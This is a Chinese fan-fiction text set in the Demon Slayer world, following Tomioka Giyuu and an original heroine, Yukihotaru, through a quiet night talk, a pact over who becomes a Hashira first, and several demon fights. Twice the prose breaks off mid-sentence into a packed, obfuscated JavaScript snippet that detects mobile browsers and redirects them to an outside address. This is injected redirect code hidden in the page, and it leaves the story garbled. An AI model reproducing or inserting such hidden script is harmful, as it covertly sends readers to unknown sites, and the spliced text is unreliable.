义勇低下头,看着自己身上那件已经换下来的旧衣服。他的手指轻轻摸了摸袖口,像是在摸什么很重要的东西。 “一边,是姐姐的。”他说。 雪萤愣了一下。 “姐姐?” 义勇点点头。 “小时候……父母死了。姐姐照顾我。”他的声音很轻,像是在说一件很久远的事,“她给我做这件衣服的时候,把自己的一件旧衣服拆了,用那块布做了这边的袖子。” 他指了指左边的袖子。 雪萤看着那只袖子。 布料确实有些不一样。颜色稍微深一点,质地也稍微软一点。不仔细看根本看不出来。 “后来姐姐也死了。”义勇说,“这件衣服,就剩下这个袖子。” 雪萤没有说话。 她只是看着他。 壁炉的火光照在他脸上,明明暗暗的。他的表情还是那样,没什么变化。可他的眼睛,比平时更深了一些。 “另一边,”义勇继续说,指了指右边的袖子,“是锖兔的。” 雪萤的心轻轻动了一下。 “那天在藤袭山,他的衣服破了。”义勇说,“我帮他缝过。后来……他就穿着那件衣服。” 他顿了顿。 “这件衣服的这边袖子,是用他那件衣服剩下的布做的。” 雪萤看着他。 那个少年低着头,看着自己身上的旧衣服。火光在他脸上跳动,照出那没什么表情的脸,和那双藏着很深很深东西的眼睛。 她忽然明白了。 这件衣服,对他来说,不只是一件衣服。 是姐姐。是锖兔。是他所有失去的人。 是他一直带在身边、一直不肯放下的东西。 —— 雪萤沉默了一会儿。 然后她笑了。 那笑容很轻,很柔,像是月光落在水面上。 “原来义勇真的很温柔的人啊。” 义勇抬起头,看着她。 那双蓝紫色的眼睛望着他,里面有光,有暖。 “真的闪闪发亮”雪萤说。 义勇愣住了。 闪闪发亮? 他? “这件衣服,”雪萤看着那件旧衣服,“很帅气呢。” 义勇张了张嘴,想说什么,可什么都说不出来。 他只是看着她。 看着她那双在火光里显得格外温柔的眼睛。 看着她嘴角那浅浅的弧度。 看着她头发上落着的一点碎光。 他的心,忽然跳了一下。 —— “要好好休息,义勇。” 雪萤站起来,走到他面前。 她低头看着他,目光里有一种说不清的东西。是关心,是温柔,也是某种他自己也说不清的情绪。 “伤口要养好,才能继续变强。” 义勇看着她。 “我和你,还要一起走很远的路。” 壁炉的火光照在他们之间。 义勇的脸,忽然有些发烫。 他不知道那是什么。 只知道她的眼睛,她的声音,她说的每一句话,都让他觉得…… 觉得心里有一块地方,被什么东西填满了。 他低下头。 “……嗯。” 声音很轻,轻得几乎听不见。 可雪萤听见了。 她又笑了一下。 然后她转身,走到门口。 “晚安,义勇。” 门拉开,又关上。 —— 屋里只剩下义勇一个人。 他坐在那里,愣了很久。 然后他低下头,看着自己身上那件旧衣服。 看着左边的袖子,右边的袖子。 看着那些细密的针脚。 他忽然想起她说的那句话。 “原来义勇真的很温柔的人啊。” 温柔。 他吗? 他不知道自己是不是温柔。 可他知道,她说这句话的时候,他的心跳得比平时快。 —— 窗外,月亮升起来了。 月光透过窗纸照进来,落在屋里,落在他的身上。 他的脸,还有些烫。 可借着月光,看不清。 —— 隔壁的房间里,雪萤也还没有睡。 她躺在榻上,望着天花板。 脑子里很乱。 先是义勇。那个沉默的少年,穿着那件旧衣服,说那是姐姐和锖兔留给他的。他说这话的时候,脸上没什么表情,可他的眼睛出卖了他。那双眼睛里有太多东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444169|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深得看不见底。 然后是那个女人。那个穿着红色嫁衣的女人。那个死在新婚之夜的女人,到死都没有等到那个人的女人。 雪萤闭上眼睛。 幻境里的画面又浮现在眼前。 樱花。纸鸢。那个帮她取纸鸢的少年。 还有…… 那个未婚夫。 —— 幻境里,她穿着嫁衣,站在镜子前。 外面很吵,有人在笑,有人在喝酒。 可她没有笑。 她在等一个人。 然后,门被推开了。 来的不是那个少年。 是一个男人。 他站在门口,逆着光,看不清脸。可那双眼睛,那双在黑暗里闪着微光的眼睛,正看着她。 “看来你并不想嫁给我了。” 他的声音很低,沉沉的,像是从很远的地方传来。 那声音……好熟悉。 熟悉得让她心口发疼。 她想看清他的脸,可看不清。只有那双眼睛,那双深紫色的眼睛,一直在看着她。 然后幻境碎了。 —— 雪萤睁开眼睛,望着天花板。 那个人是谁? 为什么他的声音会让她觉得……怀念? 怀念到想哭。 还有那双眼睛。 那双深紫色的眼睛,她好像在哪里见过。 不是在这个幻境里。 是在更早的地方。 在很久很久以前。 在…… 她想不起来。 每次想到这里,脑子里就像蒙了一层雾,什么都看不清。 可她就是觉得,那个人很重要。 重要到,她等了他很久很久。 —— 可是幻境里,她没有等那个人。 她等的是那个帮她取纸鸢的少年。 ——义勇。 幻境里的走向,好像被什么改变了。按照原本的故事,她没有等来少年,自己死在那那个晚上。 可他没有。 那个义勇化作的少年来了。带着满身的血,来带她走。 她看见他被人按在地上,看见他挣扎着,看见他望着她,嘴唇动着说“我等你”。 她看见自己的眼泪。 她看见自己想要冲出去,可是动不了。 可最后,她动了。 在那个少年被人拖走的瞬间,她冲了出去。 她不知道为什么会冲出去。那是幻境,可她冲出去了。 就像是……她和义勇的意志,改变了那个故事的走向。 她不愿意看着他被人带走。 他不愿意看着她嫁给别人。 所以他们冲破了幻境。 —— 雪萤翻了个身,把脸埋在被子里。 义勇。 那个沉默的少年。 那个穿着旧衣服,把姐姐和锖兔一直带在身上的少年。 那个在她喊他名字的时候,会转过头看着她的少年。 他来找她了。 在幻境里,在故事里,在他自己的意志里,他来找她了。 带着满身的血,也要来带她走。 —— 她的眼眶忽然有些热。 那个少年……真的很温柔。 比他自己以为的,温柔得多。 可那个未婚夫呢? 那双深紫色的眼睛,那个低沉的声音,那个让她觉得怀念到难过的男人—— 他又是谁? 为什么想到他,她的心就会疼? 为什么想到他,她就想哭? —— 窗外的月光照进来,落在她脸上。 她的眼睛湿湿的,在月光里闪着微光。 “你到底……是谁?” 她轻轻问。 没有人回答。 只有风,吹过窗外的树,沙沙地响。 —— 门外,忽然传来轻轻的脚步声。 雪萤抬起头。 那脚步声在她门口停了一下,然后又走远了。 是义勇。 他睡不着,出来走走。 雪萤听着那脚步声渐渐远去,忽然觉得心里暖暖的。 不管那个未婚夫是谁,不管那双眼睛让她想起什么—— 现在,有一个少年,穿着旧衣服,带着姐姐和锖兔的思念,就在她身边。 这就够了。 至少现在,够了。 —— 她闭上眼睛。 这一夜,她没有再做那个梦。 可那双深紫色的眼睛,一直留在她心里。 像是等了她很久很久。 30. 谁先成为柱 第二天清晨,阳光透过窗纸照进来,落在雪萤的脸上。 她睁开眼睛,听见窗外传来熟悉的翅膀拍动声。 是小雪。 她起身推开窗,一道黑色的身影轻盈地落进来,蹲在她的枕边。羽毛黑得像最深的夜,在阳光下泛着深蓝色的光泽——和她头发的颜色一模一样。左眼周围那一小圈白色的羽毛,像是永远落在那里的雪。 小雪歪着头看着她,轻轻“咕”了一声。 那是它在打招呼。 雪萤伸出手,它就顺着她的手臂走到肩上,然后用脑袋蹭蹭她的脸颊。一下,两下,三下——那是它表达想念的方式,很轻,很温柔。 “想我了?”雪萤笑着问。 小雪又“咕”了一声,然后抬起爪子。 爪子上缠着那根红色的细绳,是雪萤八岁那年亲手系上去的。这么多年了,从来没掉过。小雪低头啄了啄那根红绳,然后用黑亮的眼睛看着她。 那是它在说:你看,我一直带着呢。 雪萤轻轻摸了摸它的头。 小雪蹭蹭她的手心,然后从翅膀下面叼出一卷小纸条,递给她。 新的任务。 雪萤展开纸条,快速看了一遍。一个小镇,有鬼出没的传闻。距离这里不远,一个人去就够了。 她收起纸条,看向小雪。 “辛苦你了。” 小雪歪歪头,又“咕”了一声,然后轻轻啄了啄她的耳垂。 那是它在说:不辛苦,为你做的。 —— 雪萤收拾好东西,走到义勇的房间门口。 她敲了敲门。 “进来。” 她推开门,看见义勇已经坐起来了,靠着墙,望着窗外。肩膀上的绷带包得严严实实,脸色比昨天好了一些。 “我要走了。”雪萤说。 义勇转过头,看着她。 “新的任务?” 雪萤点点头。 “一个人?” “嗯。” 义勇沉默了一会儿。 “……小心。” 雪萤笑了。 她走到他面前,低头看着他。 “义勇,我们来做个约定吧。” 义勇愣了一下。 “约定?” “对。”雪萤说,眼睛亮亮的,“看谁先成为柱。” 义勇看着她。 “输的人,要答应赢的人一件事。”雪萤说,“什么事都可以。” 义勇沉默了。 先成为柱…… 赢的人可以让她做一件事…… 他的心忽然跳了一下。 “好。”他说。 雪萤笑了。 “那就这么说定了。” 她转身要走,又停下来,回头看他。 “要好好休息,义勇。伤口养好了,才能追上我。” 义勇看着她。 阳光从窗外照进来,落在她身上。她的眼睛亮亮的,嘴角带着笑意。小雪蹲在她肩上,也用那双黑亮的眼睛看着他。 他忽然不知道该说什么。 可他的心,跳得比平时快。 “……你也是。”他说,“小心。” 雪萤点点头,转身要走。 “等等。”义勇忽然开口。 雪萤停下来,回头看他。 义勇低下头,看着自己身上那件旧衣服。左边是姐姐的,右边是锖兔的。他沉默了一会儿,然后抬起头。 “我会赢的。” 他的声音不大,可那声音里,有一种不一样的东西。 雪萤愣了一下。 然后她笑了。 那笑容,比阳光还暖。 “我等你。” —— 她走了。 门关上。 义勇一个人坐在屋里,望着那扇关上的门。 他的心跳还没平复下来。 赢。一定要赢。 这样他就可以…… 就可以…… 他还没想好可以什么。 可他就是想赢。 想赢过她。 想让她答应他一件事。 想…… 想什么呢? 他不知道。 可他知道,他想。 —— 窗外忽然传来一个声音。 “不要激动啊!血要流出来了!” 是宽三郎。 义勇的鎹鸦。一只话多又操心的老鸟。 义勇低头一看,肩膀上的绷带果然又渗出了一点红。 宽三郎蹲在窗台上,急得直跺脚。 “你看看你看看!说了让你别激动!主公的女儿走了就走了,你激动什么!伤口又裂了吧!裂了吧!” 义勇没有说话。 他只是看着窗外。 看着那个方向,她离开的方向。 宽三郎看着他那副样子,叹了口气。 “哎,年轻人啊……” —— 院子里,雪萤正要离开。 她忽然停下脚步,回头看了一眼。 二楼的那个窗口,有一个人影。 她看不清他的脸,可她看见了那双望着她的眼睛。 她笑了。 小雪蹲在她肩上,也顺着她的目光看过去。 然后它轻轻“咕”了一声。 那声音里,好像有点什么。 雪萤低头看它。 “怎么了?” 小雪歪歪头,又看了一眼那个窗口,然后蹭蹭她的脸颊。 雪萤忽然觉得,小雪好像什么都懂。 “走吧。”她说。 她转身,朝镇外走去。 —— 走了一会儿,雪萤忽然说: “小雪,你觉得他能赢吗?” 小雪蹲在她肩上,想了想,轻轻“咕”了一声。 那意思是:不知道。 雪萤笑了。 “我也不知道。”她说,“可我想赢。” 小雪看着她。 “不是因为那个约定。”雪萤说,“是因为……” 她顿了顿。 “是因为我想变强。强到能保护所有人。强到不会再让任何人死在我面前。” 小雪轻轻啄啄她的耳垂。 那是它在说:我懂。 雪萤摸摸它的头。 “走吧。” 她加快了脚步。 阳光照在她身上,照在她肩上的小雪身上。 一人一鸟,渐渐消失在路的尽头。 —— 任务的地点是一个叫“雾谷”的小镇。 镇子不大,四面环山,常年笼罩在雾气里。据说最近常有夜行商人失踪,有人看见过奇怪的身影。 雪萤到达的时候,已经是傍晚了。 雾很浓。 浓得看不清十步之外的东西。那些雾气在街道上缓缓流动,像是活的,带着一股潮湿的、腐朽的气息。 小雪蹲在她肩上,警惕地四处张望。它的脖子微微转动,黑亮的眼睛里倒映着灰色的雾气。 雪萤停下脚步,转过头,看着肩上的小雪。 “小雪。” 小雪歪着头,看着她。 “待会儿如果有危险,”雪萤轻声说,“你离远一点。要小心。” 小雪愣了一下。 它用脑袋蹭蹭她的脸颊,像是在说:我要和你一起。 雪萤笑了,伸手摸了摸它的头。 “我知道你想帮我。”她说,“可这是我的战斗。你要保护好自己,好吗?” 小雪看着她,那双黑亮的眼睛里有一点犹豫。 然后它轻轻“咕”了一声。 那是它在说:好。 雪萤点点头。 “走吧。” 她们走进镇子。 街上没有人。家家户户门窗紧闭,连狗都不叫。只有雾气在街道上流动,像一条无声的河。 雪萤的耳朵动了动。 她听见了。 很轻,很细,像是有什么东西在雾里移动。不是脚步声,是另一种声音——像是无数片金属轻轻碰撞,叮,叮,叮。 “来了。”她轻声说。 小雪立刻飞起来,落在高处的一根树枝上。它没有叫,只是静静地看着她,黑亮的眼睛里满是信任。 雪萤握紧刀,朝声音传来的方向走去。 —— 雾气忽然涌动起来。 一道黑影从雾里冲出来,朝她扑去。 那是一只鬼。 它的身体像是用无数块金属碎片拼凑起来的。那些碎片有的大,有的小,有的是刀片的形状,有的是铁钉的形状,密密麻麻地附着在它的身上,随着它的动作叮当作响。 它的头是唯一不像金属的部分。那是一颗苍白的、肿胀的人头,五官扭曲着,眼睛只剩下两个黑洞,嘴却很大,一直咧到耳根。嘴里没有牙齿,只有一根长长的、像蛇一样的舌头,在空气中不停地颤动。 它的身体很瘦,瘦得像一根枯木。可那些金属碎片覆盖在它身上,像一层盔甲,又像是无数把刀刃。 它看见了雪萤。 那条长舌在空气中颤动得更快了,发出“嘶嘶”的声音。 “人……人……人……”它的声音从喉咙里挤出来,嘶哑的,兴奋的,“好久……没吃过了……” 它朝她扑过来。 那些金属碎片随着它的动作叮当作响,像一场金属的风暴。 —— 雪萤没有退。 她迎上去。 刀光一闪。 “壹之型·初雪。” 极快的拔刀斩,朝它的脖子斩去。 当——! 刀斩在那些金属碎片上,迸出火星。 那些碎片太硬了。她的刀只在上面留下了一道浅浅的痕迹。< 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她的呼吸开始有些乱。手臂开始发麻。 那只鬼笑得更开心了。 “累了吧……累了吧……累了好……累了就可以吃了……” 它朝她走过来。 一步,两步,三步。 那些碎片在它身上叮当作响,像是在为它的胜利奏乐。 —— 雪萤看着它。 看着它走路的姿势。那些碎片是怎么移动的。那些碎片是从哪里长出来的。它的头,它的身体,它的动作。 她看见了。 那些碎片覆盖了它全身,可有一个地方,碎片最薄。 它的后颈。 那里有一道缝隙,隐隐约约能看见底下苍白的皮肤。 那是它攻击时露出来的破绽。 每一次它挥手,每一次它转身,那道缝隙就会出现一瞬间。 只有一瞬间。 —— 又一批碎片飞来。 雪萤没有退。 她迎着碎片冲上去。 那些碎片划过她的手臂,划破她的衣服,留下一道道血痕。 她没有停。 她冲到它面前。 它举起手,朝她挥来。 她躲过。 它转身。 就是现在。 那道缝隙出现了。 雪萤的刀刺了进去。 “伍之型·牡丹雪。” 刀势沉重如山,一刀刺穿那道缝隙,从后颈刺入,从喉咙穿出。 那只鬼愣住了。 那条长舌在空中僵住,然后垂下来。 那些碎片从它身上脱落,叮叮当当落了一地。 它倒下了。 化成灰烬。 —— 雪萤收刀,大口喘着气。 她的手臂上有好几道伤口,血顺着指尖滴下来。可她站着。 小雪从高处飞下来,落在她肩上。 它没有叫。 只是用脑袋蹭蹭她的脸颊。一下,两下,三下。比平时轻,像是在怕弄疼她。 然后又啄啄她的耳垂。一下,两下,三下。 那是它在说:辛苦了。没事了。我在呢。 雪萤看着它,笑了。 “我说了让你离远点。”她笑着说,可声音里没有责备。 小雪歪歪头,又蹭蹭她。 那意思是:可我想看着你。 雪萤伸出手,摸了摸它的头。 “走吧,小雪。” 小雪“咕”一声。 一人一鸟,慢慢走进夜色里。 身后,雾渐渐散了。 —— 月亮升起来了。 雪萤走在回去的路上,小雪蹲在她肩上。 风从远处吹来,带着田野的气息。雾气散了,夜空很清澈,星星一颗一颗亮起来。 雪萤忽然想起义勇。 想起他站在门口,看着她离开的样子。 想起他说“我会赢的”时,那双眼睛里不一样的光。 她轻轻笑了。 “他一定又在拼命练刀了吧。”她说。 小雪歪歪头,轻轻“咕”了一声。 那意思是:可能吧。 雪萤摸摸它的头。 “我们也得努力才行。” 小雪蹭蹭她的手心。 月光照在她们身上,把她们的影子拉得很长。 一人一鸟,走在回家的路上。 不管前面还有多少鬼,多少战斗,多少艰难的路—— 她们在一起。 这就够了。 31. 富冈君心里有人了 山田蹲在树林边缘,嘴里叼着一根草茎,望着远处那个正在收刀入鞘的身影。 月光下,富冈义勇站在那里,浑身是血。不是他的血——是鬼的血。他刚斩杀了一只潜伏在村庄附近的鬼,那只鬼这几天害死了三个人。 山田叹了口气,站起来,朝身后招了招手。 “干活了干活了。” 十几个穿着黑衣的身影从树林里涌出来,迅速散开,开始处理战场。有人检查地面,有人收集鬼的残骸,有人用特制的药水喷洒在血迹上——那药水能迅速分解血液,让一切看起来像是从未发生过。 山田是隐的小队长。从十八岁加入隐到现在,已经整整十年了。他见过无数战斗后的场景,处理过无数鬼的残骸,也见过无数鬼杀队员的样子。 可富冈义勇这样的,他还是第一次见。 两年前,这个少年从藤袭山走出来的时候,山田就在现场。那时候他记得清清楚楚——十五个人进去,十四个人出来。死的那一个,就是和富冈义勇同门的那孩子。 从那以后,这个少年就像疯了一样。 山田见过他在训练场上的样子。从早到晚,从春到冬,从不停歇。那根本不是训练,是折磨自己。可他就那样折磨着,一天一天,一月一月。 然后他开始出任务。 一个一个,一个一个。 山田的隐组负责的区域正好包括富冈义勇常去的那一片,所以他几乎每次都能见到他。一开始是普通的鬼,后来是厉害的鬼,再后来是快要接近下弦的鬼。 两年时间,他斩杀了多少? 山田在心里默默数了数。 “三十七个了吧。”他自言自语。 旁边的同事凑过来,小声说:“什么三十七个?” 山田指了指远处那个正在走过来的身影。 “富冈君杀的鬼。这两年,三十七个。” 同事倒吸一口凉气。 “三十七个?两年?他才多大?” “十五六岁吧。”山田说,“马上就可以成为柱了。” 同事看着那个走近的少年,眼睛里满是惊叹。 “好年轻……” 山田点点头。 “是啊,好年轻。” 他站起来,准备迎上去。可就在这时,另一个同事凑过来,压低声音说: “哎,你听说了吗?产屋敷家那位大小姐,也快成为柱了。” 山田的脚步顿了一下。 “雪萤小姐?” “对啊。”那个同事说,“据说她这两年也杀了三十多个鬼了。和富冈君差不多。” 山田愣了一下。 三十多个? 他忽然想起一件事。每次他看见富冈义勇,这孩子都是一副沉默寡言、生人勿近的样子。可有一次,他无意中看见他在听一只鎹鸦传来的消息。那消息说完之后,富冈义勇的嘴角,好像弯了一下。 只是一下。 可山田看见了。 那时候他还不明白那是什么意思。 现在他忽然有点明白了。 —— “真是太厉害了。”同事还在感叹,“我们真的没法和这些天赋型选手比较啊。” 山田的眉头皱了起来。 “天赋型?” “对啊。”同事说,“人家生来就是那块料,我们这种普通人,一辈子也赶不上。” 山田看着他,忽然有点不高兴。 “你是新来的吧?” 同事愣了一下。 “啊?我来了半年了……” “半年?”山田冷笑一声,“半年你就敢说这种话?” 同事被他噎住了。 山田指着远处那个正在走过来的少年。 “你知道他每天训练多长时间吗?从早到晚,从太阳没出来练到太阳落山。你知道他受过多少次伤吗?我看见过,肩膀被贯穿,手臂差点断掉,肋骨断过三根。你知道他多少次差点死在鬼的手里吗?” 同事说不出话来。 “天赋?”山田的声音大了起来,“那是百分百的努力!我见过他们训练,那是相当刻苦!加上超乎寻常的毅力和勇气!” 他喘了口气,继续说: “我是没有这样的胆量和耐力,所以才更加敬重这些柱。他们每一次出任务,可都是做好了牺牲的准备。你懂吗?牺牲!” 同事被他吼得缩了缩脖子。 “懂懂懂,我懂的……”他小声说,“不用那么激动嘛……” 山田瞪了他一眼,没再说话。 —— 远处,富冈义勇已经走过来了。 他浑身是血,脸色苍白,可腰板挺得笔直。走到山田面前,他停下脚步。 “辛苦了。”他说。 声音很冷,没什么温度。 可山田知道,这是他会说的唯一一句客气话。 “富冈君。”山田朝他点点头,“剩下的交给我们,你先回去休息吧。” 富冈义勇点点头,转身要走。 就在这时,另一个同事忽然小声嘀咕了一句: “话说回来,富冈君和大小姐,是在比赛吗?” 富冈义勇的脚步顿了一下。 山田瞪了那个同事一眼。 可那个同事没看见,自顾自地继续说: “我听说啊,他俩杀鬼的数量一直咬着。这个月富冈君多一个,下个月大小姐就追平。上个月富冈君领先两个,这个月大小姐又追回来了。一直这么咬着,势均力敌啊!” 富冈义勇站在那里,背对着他们。 没有动。 山田看见他的耳朵,好像红了一下。 —— 山田清了清嗓子,开口说: “这样才符合年轻人的特点嘛。比赛,不服输的精神,互相激励,共同进步。两人是竞争对手,知道吗?” 他说这话的时候,眼睛看着富冈义勇的背影。 那背影动了一下。 可他还是没有回头。 另一个同事小声嘀咕: “不是吧……我看着可不像竞争对手……” 山田瞪他。 “那像什么?” 那个同事嘿嘿笑了两声。 “感觉像是……想让对方关注自己吧。你看啊,大小姐一领先,富冈君就拼命追。富冈君一领先,大小姐也拼命追。这不就是……那个嘛……” 山田的脸黑了。 “那个是哪个?” 同事缩了缩脖子,不敢说了。 可富冈义勇还站在那里。 他的耳朵,更红了。 —— 就在这时,另一个声音从旁边响起。 “你们俩!” 一只大手伸过来,一人头上敲了一拳。 咚!咚! “哎哟!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444171|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “疼!” 两个人捂着脑袋,回头一看,是隐的另一个小队长——一个四十多岁的中年男人,满脸横肉,凶神恶煞。 “干活的时候在谈论八卦!”他又举起拳头,“要不要我再给你们一拳!” “不不不!不敢了不敢了!” 两个人连滚带爬地跑开,继续干活去了。 中年男人哼了一声,转头看向富冈义勇。 “富冈君,别理他们。一群闲得没事干的。” 富冈义勇看着他,沉默了一会儿。 然后他轻轻点了点头。 “……嗯。” 他转身,走了。 月光照在他身上,把那个浑身是血的背影拉得很长。 —— 山田看着那个背影,忽然想起一件事。 两年前,他第一次见到富冈义勇的时候,那孩子刚从藤袭山出来。那时候他脸上什么表情都没有,眼睛空洞洞的,像是死了一样。 可刚才,他看见他的耳朵红了。 只是一瞬间。 可那说明,他还活着。 还会心跳,还会在意,还会……喜欢。 山田忽然笑了。 “年轻人啊。”他轻声说。 —— 中年男人走过来,在他旁边坐下。 “笑什么?” 山田指了指那个远去的背影。 “那孩子,心里有人了。” 中年男人愣了一下。 “富冈君?那个闷葫芦?” “就是他。”山田说,“刚才说那孩子的时候,他耳朵红了。” 中年男人沉默了一会儿,然后也笑了。 “挺好。”他说,“有人挂念着,就不会那么容易死了。” 山田点点头。 是啊。 有人挂念着,就不会那么容易死了。 —— 远处,富冈义勇的身影已经完全消失在夜色里。 山田站起来,拍了拍身上的土。 “行了,干活吧。” 他朝战场走去。 那些穿着黑衣的身影还在忙碌着。有人清理血迹,有人填埋残骸,有人检查有没有遗漏的痕迹。 月亮很亮。 照在这片刚刚经历过战斗的土地上。 照在那些忙碌的身影上。 照在那个已经远去的少年身上。 —— 第二天清晨,隐的营地里,山田正在整理报告。 一份,两份,三份。 富冈义勇的任务报告。雪萤的任务报告。还有其他队员的。 他一边整理,一边想起昨晚那个同事说的话。 “大小姐一领先,富冈君就拼命追。富冈君一领先,大小姐也拼命追。” 他忍不住笑了。 这两个人,还真是在比赛啊。 他翻开雪萤的任务记录。这两年,她杀了三十八个鬼。比富冈义勇多一个。 他又翻开富冈义勇的记录。三十七个。 差一个。 他忽然想起上个月的数据。那时候富冈义勇领先两个。这个月,雪萤就追回来了。 还真是咬着。 他合上报告,靠在椅背上,望着窗外的天空。 “都是好孩子啊。”他轻声说。 窗外,阳光正好。 新的一天,又开始了。 32. 让人移不开眼呐 夜很深了。 雪萤独自站在一座废弃的神社前。 这座神社比她之前去过的任何一座都要大。朱红色的鸟居已经斑驳,石阶上长满了青苔,正殿的屋顶塌了一半,露出里面黑漆漆的空间。月光照不进去,只有一片深不见底的黑暗。 小雪蹲在她肩上,脖子上的羽毛微微竖起。 “有东西。”雪萤轻声说。 小雪蹭蹭她的脸颊,然后飞起来,落在神社外的一棵老树上。它没有叫,只是静静地看着她,黑亮的眼睛里倒映着那片黑暗。 雪萤握紧刀,踏上石阶。 —— 她已经十五岁了。 两年半的时间,她斩杀了四十九只鬼。从普通的鬼到下弦,从单打独斗到与同伴配合。她的刀越来越快,她的呼吸越来越稳,她的心越来越沉静。 今晚,是第五十只。 她能感觉到。那股气息比之前遇到的所有鬼都强。不是普通的强,是一种让人脊背发凉的、从心底升起的寒意。像是有什么东西,正在那片黑暗里等着她。 她走上最后一阶石阶,站在正殿门口。 月光从她身后照进来,把她的影子投进那片黑暗里。 她站在那里,深蓝色的长发如瀑布般垂落,在月光下泛着幽深的光泽。发尾微微卷翘,随着夜风轻轻飘动,像是落了一层细碎的星光。几缕碎发垂在脸侧,遮住了一小块白皙的皮肤,又被风吹开,露出底下那道几乎看不见的细痕。 她的眉眼比两年前更深邃了。那双蓝紫色的眼睛沉静如水,可那沉静里,藏着无数个战斗的夜晚留下的东西——是锋利,是警觉。睫毛很长,微微上翘,在她垂眸的瞬间,会在眼睑上投下一小片淡淡的阴影。 她的身量更高了,比两年前高出整整半头。素白的队服穿在身上,勾勒出少女纤细却有力的轮廓。肩膀比以前更宽了一些,是常年握刀练出来的。腰间的刀还是那把“雪切”,刀柄缠着的丝线已经换过好几次,可刀身依旧雪亮,在月光下泛着淡淡的蓝光。 她的皮肤还是那样白皙,可那白里,多了几道浅浅的疤痕。手臂上,手背上,甚至锁骨下方有一道几乎看不见的细痕——那是和一只擅长偷袭的鬼战斗时留下的。她不觉得难看,那是她活着的证明,是她走过的路的标记。 她站在那里,脊背挺得笔直,像一株在风雪中生长了十五年的白梅。已经不是当年那个稚嫩的少女了,而是一个真正的战士。 一个即将斩杀第五十只鬼的战士。 —— 她走进那片黑暗。 正殿里空荡荡的。神像早就塌了,只剩下几块残破的基座。月光从屋顶的破洞漏下来,落在地上,形成几道惨白的光柱。 没有鬼。 什么都没有。 可那股气息还在。越来越浓,越来越近。 雪萤停下脚步,闭上眼睛。 她听。 风声。虫鸣。远处传来的夜鸟叫声。还有—— 很轻,很细,像是有什么东西在呼吸。 从头顶传来。 她睁开眼睛,抬起头。 屋顶的横梁上,坐着一个人。 一个女人。 至少看起来是女人。 她穿着一身纯白的和服。 不是那种普通的白,是那种病态的、苍白的、像是被水浸泡过很久的白。那和服层层叠叠,衣摆很长,从横梁上垂下来,像一道白色的瀑布。可那些衣料上,布满了细密的裂痕,像是被撕碎过无数次,又被缝合起来。缝合的线是黑色的,歪歪扭扭地爬满了整件和服,像无数条丑陋的蜈蚣。 她的头发很长,长到从横梁上垂下来,几乎要碰到地面。那些头发是银白色的,不是老人的那种白,是月光凝成的颜色。它们在黑暗中发着微弱的荧光,像是无数条银色的丝线。 她的脸很美。 那是一张让人移不开眼睛的脸。皮肤白皙得近乎透明,五官精致得像雕刻出来的。眉眼弯弯,嘴唇薄薄,若是笑着,一定很好看。 可她没有笑。 她低着头,看着站在下面的雪萤。 那双眼睛是银灰色的,像两枚冰冷的月亮。那里面没有光,只有一种很深很深的东西。 那是贪婪。 她看着雪萤,像是在看一件心仪已久的东西。 “终于来了。”她开口了。 声音很轻,很柔,像是风吹过水面。可那轻里,有一种让人毛骨悚然的东西。 “我等了很久了。等了很久很久。” 她从横梁上飘下来。 不是跳,是飘。那些银白色的长发在她身后飘动,像无数条发光的丝线。那些布满裂痕的白色和服在她周围飞舞,像一片破碎的云。 她落在雪萤面前,离她只有三步远。 她低下头,看着雪萤。 那双银灰色的眼睛里,忽然有了光。 那是兴奋。 “好美……”她轻声说,伸出手,想要抚摸雪萤的脸,“真的好美……比我见过的任何女人都美……” 雪萤侧身躲过,拔刀。 刀光一闪,朝她的脖子斩去。 那只鬼没有躲。 刀斩在她的脖子上,斩进去一半。 可她笑了。 那笑容很美,美得让人心头发寒。 “我的头,”她说,“可不是弱点呢。” 话音刚落,她的头从脖子上飞了起来。 不是被斩断,是自己飞起来的。 那颗美丽的头颅飞在空中,银白色的长发在身后飘动,像一条发光的尾巴。她还在笑,那张脸在月光下显得格外诡异。 “好玩吧?” 她的声音从四面八方传来。 雪萤没有回答。她只是握紧刀,盯着那颗飞行的头。 身体还站在原地,脖子上碗大的伤口,却没有一滴血。那些布满裂痕的白色和服轻轻飘动,像是什么都没发生过。 那颗头在空中转了一圈,又飞回来,落在身体上。脖子上的伤口瞬间愈合,连一丝痕迹都没有留下。那些裂痕还在,那些黑色的缝合线还在,可伤口不见了。 —— 雪萤动了。 “贰之型·时雨。” 刀光连绵不绝,一刀接一刀,像雨点一样密集。那些刀光在空中化成无数细小的冰刃,朝那只鬼刺去。 鬼没有躲。 那些冰刃刺进她的身体,刺穿那件布满裂痕的白色和服,在她身上留下一道道伤口。可那些伤口瞬间就愈合了,快得像从来没有出现过。只有那些裂痕还在,像是被刺穿过的印记。 “好厉害……”她轻声说,眼睛里满是欣赏。 她朝雪萤扑过来。 那些银白色的长发像无数条发光的蛇,朝她缠来。雪萤挥刀斩断,可那些头发断了又长,永远斩不完。被斩断的发丝落在地上,还在微微颤动,然后化成荧光,飘散在空气里。 她后退。 鬼追上来。 那些布满裂痕的白色和服在她身后飘动,像一片破碎的云。 —— 雪萤深吸一口气,刀势一变。 “陆之型·雪崩。” 积蓄的力量在一瞬间爆发,刀光如雪崩般倾泻而下。那一刀斩在鬼的身上,把她整个人劈成两半。 可那两半身体落在地上,又拼合在一起。 